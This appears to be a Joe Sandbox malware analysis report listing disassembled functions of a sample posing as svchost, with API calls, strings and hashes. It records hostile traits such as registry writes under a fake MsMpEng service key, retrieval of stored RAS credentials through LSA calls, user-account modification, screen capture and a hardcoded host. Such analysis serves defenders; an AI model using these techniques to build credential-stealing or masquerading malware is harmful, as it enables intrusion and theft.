API String ID: 2037708152-2523469999
Opcode ID: ca78cd4a69b91d86fc8daa009f0785d86b2c57de7d097d90857a46cf3f1815aa
Instruction ID: e56a47b30261500d5e594d28728562b852bcd15472ce2f75d3854afe42e22e30
Opcode Fuzzy Hash: ca78cd4a69b91d86fc8daa009f0785d86b2c57de7d097d90857a46cf3f1815aa
Instruction Fuzzy Hash: F5F0C2B5580351BBE721A770AC89AEE7B247B85724F04853EE580222C1D6B845A5879A

Function 0040E3C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00000000,0040E46D,?,?,?), ref: 0040E3C9
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 0040E3DB
FreeLibrary.KERNEL32(00000000), ref: 0040E405

Strings

ntdll.dll, xrefs: 0040E3C2
RtlGetNtVersionNumbers, xrefs: 0040E3D5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlGetNtVersionNumbers$ntdll.dll
API String ID: 145871493-1263206204
Opcode ID: 534b435071a565cbc0959982b9be855b8ae3663ad76d57f137b8c2804ceae72f
Instruction ID: 5e16a5c4c87dd6058493d714a8376209ae60ab45ab156a5de48c0497317bf2a0
Opcode Fuzzy Hash: 534b435071a565cbc0959982b9be855b8ae3663ad76d57f137b8c2804ceae72f
Instruction Fuzzy Hash: E2F03076740262EBC321DF26EC88A5B7BB5EFC9711B158539F415E3380C738D90686A9

Function 00409170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\MsMpEng), ref: 00409180
RegSetValueExA.ADVAPI32(?,ConnectGroup,00000000,00000001,?), ref: 004091A7
RegCloseKey.ADVAPI32 ref: 004091B3

Strings

SYSTEM\CurrentControlSet\Services\MsMpEng, xrefs: 00409176
ConnectGroup, xrefs: 004091A1

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateValue
String ID: ConnectGroup$SYSTEM\CurrentControlSet\Services\MsMpEng
API String ID: 1818849710-2404424597
Opcode ID: 9260ca8310c516bdf6f3ff15638d8ef59e2640018111b6d0bdf966c098fca644
Instruction ID: 994abbc556e010a559590f0efe514dd726d9d9a190789ad5730a09c2ac4e53b5
Opcode Fuzzy Hash: 9260ca8310c516bdf6f3ff15638d8ef59e2640018111b6d0bdf966c098fca644
Instruction Fuzzy Hash: CEE09B76344200FBE3148BA1DC49EBBB77DFBC8751F20861EB616910D0C674DC004714

Function 00409120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28registryCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\MsMpEng), ref: 00409130
RegSetValueExA.ADVAPI32(?,Remark,00000000,00000001,?), ref: 00409157
RegCloseKey.ADVAPI32 ref: 00409163

Strings

Remark, xrefs: 00409151
SYSTEM\CurrentControlSet\Services\MsMpEng, xrefs: 00409126

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateValue
String ID: Remark$SYSTEM\CurrentControlSet\Services\MsMpEng
API String ID: 1818849710-489170109
Opcode ID: 670895227f5a21f1a463e621d55880e9ac963460a85875e7c8f971b346ef2a38
Instruction ID: dccfb981339959876dc066e0ebb40bee40bfbb0a65829dd1f0e1a10857a054cb
Opcode Fuzzy Hash: 670895227f5a21f1a463e621d55880e9ac963460a85875e7c8f971b346ef2a38
Instruction Fuzzy Hash: E9E09B76344200FBD3148BA1DC45EBBBB7DFBC8751F20C61EB21A911D0C674C9014714

Function 0041B360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B365
strlen.MSVCRT ref: 0041B384

Part of subcall function 0041B3BA: __EH_prolog.LIBCMT ref: 0041B3BF
Part of subcall function 0041B3BA: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0041B3D9

_CxxThrowException.MSVCRT(00000000,00421570), ref: 0041B3B4

Strings

lB, xrefs: 0041B39C, 0041B3A4
string too long, xrefs: 0041B37E, 0041B383, 0041B38B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: H_prolog$??0exception@@ExceptionThrowstrlen
String ID: lB$string too long
API String ID: 4056035191-1177628834
Opcode ID: d834352ee6d00950edd92631ae167539c6efc8b41b73feea130128756746ec5f
Instruction ID: 5bf058bc63e7e034a9423d2a5ff56cb4a4a855801f41d61b526461866333dc16
Opcode Fuzzy Hash: d834352ee6d00950edd92631ae167539c6efc8b41b73feea130128756746ec5f
Instruction Fuzzy Hash: 92F05E32C01128A9CB04F6A5E842AEE777CAF18308F80405AF850B2162DF2C56898BBD

Function 0040E050 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000004), ref: 0040E06F
RegQueryValueExA.ADVAPI32(?,~MHz,00000000,?,?,?,?,www.362-com.com,?,?), ref: 0040E090
RegCloseKey.ADVAPI32(?,?,www.362-com.com,?,?), ref: 0040E09B

Strings

HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0040E065
~MHz, xrefs: 0040E08A

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$~MHz
API String ID: 3677997916-2226868861
Opcode ID: ec22badb03a7b7151c14d19a161e1904d84b19b09c6233e931671f0f67bf31ea
Instruction ID: 42553fe74088cce8b5e9e08952477b14fc633d32869e3cda15718f6b3656bc3a
Opcode Fuzzy Hash: ec22badb03a7b7151c14d19a161e1904d84b19b09c6233e931671f0f67bf31ea
Instruction Fuzzy Hash: 87F0D4B4648305BFD300DB64DC85F6BBBB8EB88705F50C91DB55982151D634D908CB5A

Function 0040E370 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,0040E4B9), ref: 0040E37C
GetProcAddress.KERNEL32(00000000), ref: 0040E383
GetCurrentProcess.KERNEL32(0040E4B9,?,0040E4B9), ref: 0040E39A

Strings

kernel32.dll, xrefs: 0040E377
IsWow64Process, xrefs: 0040E372

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: b737fcbfea5e96ed9eacda76ae1080b51f0e0f128da47d94804787ff6c06765e
Instruction ID: 2427863d623b1a4c4599ff1455f1ef7ada34af75e0041d8b8bbe5c298fe96284
Opcode Fuzzy Hash: b737fcbfea5e96ed9eacda76ae1080b51f0e0f128da47d94804787ff6c06765e
Instruction Fuzzy Hash: 6DE0DF73A85221E7C6009BB4BD0C88B7FAC9A446527108837F906D3180DB38C800ABA8

Function 00405D30 Relevance: 7.6, APIs: 6, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1c34dc37e6ed45221f4d6d6567e3022993460529855c3fdd29a0633f79838ad
Instruction ID: 21630b4338c0dbf14dc45f489cab55e4f0ecb5efbae156578e646edd3b4ca0c8
Opcode Fuzzy Hash: f1c34dc37e6ed45221f4d6d6567e3022993460529855c3fdd29a0633f79838ad
Instruction Fuzzy Hash: 4241D2B27417056FE714DF68EC81B67B398EF84725F14403AFA06DB681DBB4E8148AA4

Function 0040B180 Relevance: 7.6, APIs: 5, Instructions: 121COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B1C6

Part of subcall function 0040B320: RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,0040AE94,?,0040AE94,00000000), ref: 0040B338

??3@YAXPAX@Z.MSVCRT ref: 0040B220
??2@YAPAXI@Z.MSVCRT ref: 0040B230
??3@YAXPAX@Z.MSVCRT ref: 0040B287
??3@YAXPAX@Z.MSVCRT ref: 0040B29F

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??3@$??2@$Open
String ID:
API String ID: 1933534633-0
Opcode ID: 40f50cb0316807d92619a87a261b617c713f365668f840883548a2ab480e5e2a
Instruction ID: 3bd540e039f82a12f50f943ac22cbd17395b78ba2ca8212d32c459d14196727d
Opcode Fuzzy Hash: 40f50cb0316807d92619a87a261b617c713f365668f840883548a2ab480e5e2a
Instruction Fuzzy Hash: DC31DBB27405151BC704EA29AC5257FB3C6DEC4714B88447EEE06D7342DA3EED1982DE

Function 00413CC0 Relevance: 7.6, APIs: 5, Instructions: 98stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00404E70: ??2@YAPAXI@Z.MSVCRT ref: 00404E9B
Part of subcall function 00404E70: ??2@YAPAXI@Z.MSVCRT ref: 00404EAA

lstrlenA.KERNEL32(?), ref: 00413D0B
LocalAlloc.KERNEL32(00000040,00000001), ref: 00413D28
lstrlenA.KERNEL32(?), ref: 00413D68
LocalSize.KERNEL32(00000000), ref: 00413DAC
LocalFree.KERNEL32(00000000), ref: 00413DBE

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Local$??2@lstrlen$AllocFreeSize
String ID:
API String ID: 1534712483-0
Opcode ID: 9a521a842bb03ba3ea65fca88596461643d9687351a14839b19fdfb67755555a
Instruction ID: 577789dd26d2a3611078db1f543d08089f426270f72fad01efc6f608d857e1bb
Opcode Fuzzy Hash: 9a521a842bb03ba3ea65fca88596461643d9687351a14839b19fdfb67755555a
Instruction Fuzzy Hash: D9319A712483419FC310CF18D884A6BBBE5FB89714F000A2EF896A3391DB38E945CB96

Function 0040BD10 Relevance: 7.6, APIs: 5, Instructions: 96synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD36
CloseHandle.KERNEL32(?,?,?,0041BC11,000000FF,0040BEC5,?,?,?,?,?,?,0041BC20,000000FF), ref: 0040BD40
??2@YAPAXI@Z.MSVCRT ref: 0040BD6E
??2@YAPAXI@Z.MSVCRT ref: 0040BDA2

Part of subcall function 0040C660: LoadCursorA.USER32(00000000,00000000), ref: 0040C723

??2@YAPAXI@Z.MSVCRT ref: 0040BDCC

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@$CloseCursorHandleLoadObjectSingleWait
String ID:
API String ID: 1916621575-0
Opcode ID: f350884659fd6d41d45b5f6b97c4c22f201a7ea4eb9857cee072ecd21acaacf4
Instruction ID: ef2bcaef84ef7131645f205051c19e0aed0db350fd01f7ec41ef4e464ace6d51
Opcode Fuzzy Hash: f350884659fd6d41d45b5f6b97c4c22f201a7ea4eb9857cee072ecd21acaacf4
Instruction Fuzzy Hash: 4731D4B06447419BD720DF25DC86B57B6E1EF48714F000A3EF15AA72C1D7B9E544878E

Function 0040CE70 Relevance: 7.6, APIs: 5, Instructions: 91windowCOMMON

Download Yara Rule

APIs

CreateDIBSection.GDI32(?,?,00000000,?,00000000,00000000), ref: 0040CECE
SelectObject.GDI32(?,00000000), ref: 0040CEDD
BitBlt.GDI32(?,?,?,?,?,?,?,?,?), ref: 0040CEFA
BitBlt.GDI32(?,00000000,00000000,?,?,?,?,?,00CC0020), ref: 0040CF1A
DeleteObject.GDI32(?), ref: 0040CF42

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Object$CreateDeleteSectionSelect
String ID:
API String ID: 3188413882-0
Opcode ID: ff7971fa7e442c65569e443aff8cf8c217363bbab883f1d0bc7f1aad0a6bb27a
Instruction ID: 8644df30ac322eb794f61322d1c2f3353e4d03125da19cbc192858f1f2830dd5
Opcode Fuzzy Hash: ff7971fa7e442c65569e443aff8cf8c217363bbab883f1d0bc7f1aad0a6bb27a
Instruction Fuzzy Hash: 1931B1B6200705AFD214CF59DC84E27FBAAFB88614F108A1EFA5587795C771F8008BA4

Function 00410A10 Relevance: 7.6, APIs: 5, Instructions: 72stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 00410A29
NetUserGetInfo.NETAPI32(00000000,00000000), ref: 00410A56

Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBB4
Part of subcall function 0040EB90: ??2@YAPAXI@Z.MSVCRT ref: 0040EBC1
Part of subcall function 0040EB90: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 0040EBDD

NetUserSetInfo.NETAPI32(00000000,00000000,?,00000000), ref: 00410A94
NetApiBufferFree.NETAPI32(?), ref: 00410AC2
LocalFree.KERNEL32(?), ref: 00410ACC

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ByteCharFreeInfoMultiUserWide$??2@BufferLocallstrlen
String ID:
API String ID: 2885335764-0
Opcode ID: 06f57e3ddf253fb99832153d0705f857b5e4ddff31a999e582e034978c5ac654
Instruction ID: ac0622517868727d44a71bd3db721ced7584daaeac7d82bad7db2b994230c841
Opcode Fuzzy Hash: 06f57e3ddf253fb99832153d0705f857b5e4ddff31a999e582e034978c5ac654
Instruction Fuzzy Hash: 1C1151B15043006BD300EF669C8296BBBECEB94B18F44492EF64596282E678D95887A6

Function 00412000 Relevance: 7.6, APIs: 5, Instructions: 53processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041200D
Process32First.KERNEL32(00000000), ref: 00412028
lstrcmpiA.KERNEL32(?,?), ref: 00412044
Process32Next.KERNEL32(00000000,?), ref: 00412050
CloseHandle.KERNEL32(00000000,00000000), ref: 00412069

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: fcb2ec04029935f46ba2eade9e590c3f46999862d2f59f2fb4bc11569fd6d842
Instruction ID: 2a1a439278f33babe93876e0b72b8e8222ac9b410acc14f037b9d7f54ae7eca7
Opcode Fuzzy Hash: fcb2ec04029935f46ba2eade9e590c3f46999862d2f59f2fb4bc11569fd6d842
Instruction Fuzzy Hash: 4501F5315002025BD320DB25DD80AFF7B98EFC9314F40052AFA14C2241E3B9D969C7E6

Function 0040FC60 Relevance: 7.6, APIs: 5, Instructions: 52stringCOMMON

Download Yara Rule

APIs

WTSQuerySessionInformationW.WTSAPI32 ref: 0040FC84
lstrcpyW.KERNEL32(?,00000000), ref: 0040FCA4
WTSFreeMemory.WTSAPI32(?), ref: 0040FCAF
WideCharToMultiByte.KERNEL32(00000000,00000200,?,000000FF,00000000,00000104,00000000,00000000,?), ref: 0040FCE8
lstrcpyA.KERNEL32(?,00000000), ref: 0040FCFB

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrcpy$ByteCharFreeInformationMemoryMultiQuerySessionWide
String ID:
API String ID: 2394411120-0
Opcode ID: 7f6dd751076a8ab89f63f81f698e1676b01fdccd8ca62ee4db8c37f513fded00
Instruction ID: e9e514262748209a81d34ce6bd17401516f8d149c622362591eff0fc0dcad826
Opcode Fuzzy Hash: 7f6dd751076a8ab89f63f81f698e1676b01fdccd8ca62ee4db8c37f513fded00
Instruction Fuzzy Hash: 0F1152751583017BE710DB54DC55FEB73ECABC8B04F008A2CF655961C0E674A5088B66

Function 00414760 Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00414768
GetThreadDesktop.USER32(00000000), ref: 0041476F
GetUserObjectInformationA.USER32(?,00000002,?,00000100,?), ref: 00414790
SetThreadDesktop.USER32(?), ref: 004147A4

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Thread$Desktop$CurrentInformationObjectUser
String ID:
API String ID: 3041254040-0
Opcode ID: d5c95376bfe447aa13519f01817db6bdd1396ec8230d8b508f2ad4fc4d24f9f8
Instruction ID: 5b192af36a74ddfd375d8e58009ba53eb3f09b4ffb041f864a17402110b34bc9
Opcode Fuzzy Hash: d5c95376bfe447aa13519f01817db6bdd1396ec8230d8b508f2ad4fc4d24f9f8
Instruction Fuzzy Hash: 00F0B475640210A7D7245B18ECC9BEB375CEFC1725F448435F964C1290E7B84585869A

Function 00406AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00406B19
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00406B8E
CloseHandle.KERNEL32(00000000), ref: 00406BB1

Strings

p, xrefs: 00406B14

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateDirectoryFileHandleWindows
String ID: p
API String ID: 1994237055-2181537457
Opcode ID: 3a9f50933b25037aec6d5244b1fed8ef72c75560d004b2b55f204822f697f44d
Instruction ID: 95e5e2c94295631822017bba6460531675a229dc3e2fc358b5296dcc2bb56d53
Opcode Fuzzy Hash: 3a9f50933b25037aec6d5244b1fed8ef72c75560d004b2b55f204822f697f44d
Instruction Fuzzy Hash: 1B21F8716442041BD718CE78AC45AAB7B95FBC4330F444B3EFA66C72C1DAB85909C295

Function 00405170 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

LsaOpenPolicy.ADVAPI32(00000000,?,00000004,?), ref: 00405192
LsaRetrievePrivateData.ADVAPI32(?,?,?), ref: 004051C5

Strings

L$_RasDefaultCredentials#0, xrefs: 00405175

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: DataOpenPolicyPrivateRetrieve
String ID: L$_RasDefaultCredentials#0
API String ID: 1655749231-2801509457
Opcode ID: f6ba53ed548a0f1c53a844fb464675b00d602fa41adfe33e933a4dfdb5f23b24
Instruction ID: 5356ebd810677cd6bbff2b09ac952c3e83694e1b0b87b4db2b4ba7140483b5dd
Opcode Fuzzy Hash: f6ba53ed548a0f1c53a844fb464675b00d602fa41adfe33e933a4dfdb5f23b24
Instruction Fuzzy Hash: AD01FC722043066FE704EA69CC41EFBB3D9EBD4314F004D2EF944C6180E674D959C7A6

Function 00410E90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00410E97
GlobalMemoryStatusEx.KERNEL32(?), ref: 00410EBB
wsprintfA.USER32 ref: 00410EE1

Strings

@, xrefs: 00410EB2

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@GlobalMemoryStatuswsprintf
String ID: @
API String ID: 3471495560-2766056989
Opcode ID: b818bec4fb9b3994ac42f0951ccca8403d590c3a3285b15e4aef0a381770cbfc
Instruction ID: bc7096766f507c18794593b9fc14a20ce2f4340cff94acc9b8fa5df3903b716d
Opcode Fuzzy Hash: b818bec4fb9b3994ac42f0951ccca8403d590c3a3285b15e4aef0a381770cbfc
Instruction Fuzzy Hash: 2DF0E2B16842012BE3009718EC05BDB7AA4EFC0384F408839FA4597351E538994846AF

Function 0041B58C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B591
strlen.MSVCRT ref: 0041B5B0

Part of subcall function 0041B3BA: __EH_prolog.LIBCMT ref: 0041B3BF
Part of subcall function 0041B3BA: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0041B3D9

_CxxThrowException.MSVCRT(00000000,00421698), ref: 0041B5E0

Strings

invalid string position, xrefs: 0041B5AA, 0041B5AF, 0041B5B7

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: H_prolog$??0exception@@ExceptionThrowstrlen
String ID: invalid string position
API String ID: 4056035191-1799206989
Opcode ID: b9682a77cf836f376e9f0f1c5d64753c2a15e35020025241dec067f038d8bcaf
Instruction ID: bd41a4a2b0e1418aa4613b2e1bdccac93449294059d9f6ff855a191281a765a8
Opcode Fuzzy Hash: b9682a77cf836f376e9f0f1c5d64753c2a15e35020025241dec067f038d8bcaf
